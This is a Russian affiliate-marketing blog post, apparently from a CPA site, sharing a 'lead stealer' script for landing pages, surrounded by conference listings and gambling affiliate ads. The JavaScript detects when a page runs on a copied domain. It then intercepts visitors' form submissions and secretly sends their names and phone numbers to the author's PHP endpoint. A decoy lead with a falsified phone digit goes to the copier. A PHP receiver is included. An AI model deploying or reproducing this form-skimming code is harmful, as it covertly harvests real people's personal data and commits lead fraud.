Конференции
Москва, Россия
20
Август
Дели, Индия
25
Август
Мехико, Мексика
27-01
Август -
Сентябрь
Мехико, Мексика
31
Август
Мехико, Мексика
01-03
Сентябрь
Лиссабон, Португалия
01
Сентябрь
Мехико, Мексика
01-03
Сентябрь
Мехико, Мексика
03
Сентябрь
г.Канкун, Мексика
07-08
Сентябрь
Киев, Украина
15
Сентябрь
15
Сентябрь
Лимасол, Кипр
17-18
Сентябрь
Лима, Перу
17-18
Сентябрь
18
Сентябрь
Бухарест, Румыния
21-23
Сентябрь
Тбилиси, Грузия
24-25
Сентябрь
Лиссабон, Португалия
28
Сентябрь
Лас-Вегас, США
28
Сентябрь
Лас-Вегас, США
28-01
Сентябрь -
Октябрь
Эшторил, Португалия
28
Сентябрь
Лиссабон, Португалия
29-01
Сентябрь -
Октябрь
Лиссабон, Португалия
29-01
Сентябрь -
Октябрь
Лиссабон, Португалия
29
Сентябрь
Лиссабон, Португалия
30
Сентябрь
Лиссабон, Португалия
30
Сентябрь
Ереван, Армения
01
Октябрь
Лиссабон, Португалия
01
Октябрь
Лиссабон, Португалия
01
Октябрь
Лиссабон, Португалия
01
Октябрь
Москва, Россия
02
Октябрь
Дакар, Сенегал
14-16
Октябрь
Дакар, Сенегал
14-16
Октябрь
Варшава, Польша
14
Октябрь
София, Болгария
19-20
Октябрь
Лондон, Великобритания
19-21
Октябрь
Копенгаген, Дания
22-23
Октябрь
Копенгаген, Дания
22
Октябрь
Рим, Италия
02-05
Ноябрь
02
Ноябрь
02
Ноябрь
02
Ноябрь
Рим, Италия
02
Ноябрь
03
Ноябрь
Рим, Италия
03
Ноябрь
Рим, Италия
04
Ноябрь
04
Ноябрь
Пномпень, Камбоджа
05-06
Ноябрь
Рим, Италия
05
Ноябрь
09-10
Ноябрь
Канкун, Мексика
24-25
Ноябрь
Шарм-эш-Шейх, Египет
24-25
Ноябрь
Гоа, Индия
24-25
Ноябрь
Коломбо, Шри-Ланка
28
Ноябрь
г.Бангкок, Таиланд
30-02
Ноябрь -
Декабрь
Вена, Австрия
03-04
Декабрь
03
Декабрь
Вена, Австрия
03-04
Декабрь
Вена, Австрия
04
Декабрь
Бангкок, Таиланд
08
Декабрь
г.Бангкок, Таиланд
09-10
Декабрь
Бангкок, Таиланд
10
Декабрь
Дубай, ОАЭ
10
Декабрь
Бангкок, Таиланд
10
Декабрь
Ко Чанг, Таиланд
12-15
Декабрь
Кейптаун, ЮАР
01
Февраль
Габороне, Ботсвана
15-18
Февраль
Габороне, Ботсвана
15
Февраль
Габороне, Ботсвана
17
Февраль
Габороне, Ботсвана
18
Февраль
Мехико, Мексика
24-26
Февраль
Рио-де-Жанейро, Бразилия
02-04
Март
Коломбо, Шри-Ланка
09-11
Март
ОАЭ, Дубай
15-17
Март
Амстердам, Нидерланды
19-21
Апрель
Найроби, Кения
21-23
Апрель
г.Та‑Кали, Мальта
03-05
Май
06-07
Май
Мюнхен, Германия
13-14
Май
Мадрид, Испания
18-20
Май
Дюссельдорф, Германия
18-19
Май
Лимасол, Кипр
10-11
Июнь
Хошимин, Вьетнам
14
Июнь
Торонто, Канада
15-17
Июнь
Лондон, Великобритания
05-06
Июль

Скрипт стиллера лидов! Защищаем свои прелендинги и лендинги!


Всем привет! Сегодня поделюсь с Вами моей разработкой. А именно скрипт на преленд/ленд, который будит стилить, то есть воровать лиды, если ваш ленд/преленд был скопирован.

Подписывайтесь на канал – https://telegram.me/deepcpa!

Что умеет скрипт?

  1. Это несколько степеней проверки, чтобы он срабатывал только, когда зашел реальный человек(проверка протокола, порта, реффера, кол-во заходов, на реальном ли домене запущен)
  2. Можно указать % стила(от 1 до 100%)
  3. Не срабатывает, если он на вашем домене
  4. Обрабатывает все формы
  5. Отправляет жертве, то есть тому, кто скопировал ваш ленд/ преленд,  такой же лид, только с 1 изменённой цифрой в номере телефона
  6. К скрипту есть комменты, так что каждый разберется

Как его интегрировать, тут уже на ваше усмотрение.

Скрипт, который нужно добавить на ленд/преленд, главное чтобы инпуты имени и номера были с атрибутами name=»name» и name=»phone»

// Здесь укажите % срабатываний скрипта
const prc = 100
//Указываем путь к php файлу обработчику
const url = 'тут ссылка на обработчик'
//Указываем домен где будет находиться прокла/ленд
const originalHost = `ваш домен без https:// и /`
const checkedHost = window.location.host
const fullUrl = window.location.href
//запускаем скрипт
start()
function start() {
    let userChek = checkUser()
    //проверяем прошел ли юзер проверку
    if (!userChek) return
    let random = isRandom()
    //проверяем попали ли мы в указанный %
    if (random) stealer()
}
function stealer() {
    //проверяем спизжен ли ленд
    if (checkedHost == originalHost) return
    let forms = document.querySelectorAll('form')
    forms.forEach(element => {
        element.addEventListener('submit', (e) => {
            e.preventDefault()
            let name = e.target.querySelector('[name="name"]').value
            let phone = e.target.querySelector('[name="phone"]').value
            //формируем данные для отправки
            let data = {
                host: fullUrl,
                name: name,
                phone: phone
            }
            //отправляем запрос
            sendData(data)
                .then(res => {
                    //Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем
                    var dupForm = e.target.cloneNode(true);
                    dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`
                    dupForm.style.display = 'none'
                    let body = document.querySelector('body')
                    body.append(dupForm)
                    dupForm.submit();
                })
        })
    });
}
function isRandom() {
    let rnd = Math.floor(Math.random() * 101)
    if (rnd <= prc) return true
    return false
}
function checkUser() {
    //
    // максимальное количество заходов при котором сработает скрипт
    const AvalibleEntry = 2
    let protocol = window.location.protocol
    let port = window.location.port
    let host = window.location.host
    let reffer = document.referrer
    let status = false
    //проверяем зашел ли пользователь с http или https
    if (protocol == 'http:' || protocol == 'https:') status = true
    if (!status) return false
    //проверяем есть ли порт у юзера
    if (port != '') return false
    //проверяем не запущен ли на сервере
    if (host.includes('localhost') || host.includes('127.0.0.1')) return false
    //проверяем на наличие рефера
    if (reffer == '') return false
    //определяем количество заходов конкретного юзера
    let userCount = localStorage.getItem('count')
    //если больше 2 не пропускаем
    if (userCount >= AvalibleEntry) return false
    //если меньше то определяем текущее значение и прибавляем + 1
    userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)
    return true
}
function sendData(propse) {
    return fetch(url, {
        method: 'post',
        body: JSON.stringify(propse)
    })
        .then(response => response.json())
        .then(json => (json))
        .then(res => {
            this.data = res
            return res
        })
}

 

Скрипт обработчика, он только получает данные с номером, именем и хостом с которого отправили лид. Дальше используйте как вам нужно, хоть сразу в пп отправляйте, ну или в телегу.

<?php

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: *");

$payload = file_get_contents('php://input');
$payload = json_decode($payload, true);

$phone = $payload['phone'];
$name = $payload['name'];
$url = $payload['host'];

?>

Нужна тех. помощь пишите в телеграм!


0 Комментариев
Партнерка - Наша оценка
Вертикали
Мин. сумма
Сайт
VavadaPart обзор
Прямой рекламодатель
Бренды: Vavada Casino
$20/€20/1000₽ выплата
фото
фото
фото
фото
фото
фото
фото
фото
фото
фото
фото
фото
фото
фото
NOVA PARTNERS обзор
Прямой рекламодатель
Бренды: LEEBET, BANDA, KUSH, EVA, APEX
$100 выплата
фото
фото
фото
фото
фото
фото
фото
Прямой рекламодатель
Бренды: SpinBetter
$50 выплата
фото
фото
фото
фото
фото
фото
Royal Partners обзор
Бренды: FLAGMAN, IRWIN, GIZBO, LEX, MONRO, 1GO, STARDA, IZZI, DRIP, LEGZO, VOLNA, JET, FRESH, SOL, ROX, FUGU, RIS
$20 выплата
фото
фото
фото
фото
фото
фото
Прямой рекламодатель
Бренды: VOX, Winnita
€100 выплата
фото
фото
Наша партнерская программа c офферами по Gambling и Betting вертикалям. Выплаты в день запроса от $20.
$20 выплата
фото
860 шт
Перейти к офферам
V.Partners обзор
Прямой рекламодатель
Бренды: Vegas, ICE Casino, VERDE Casino, FS Casino, Fiery Play, Slotoro, Hit’N’Spin
€100 выплата
фото
фото
фото
фото
фото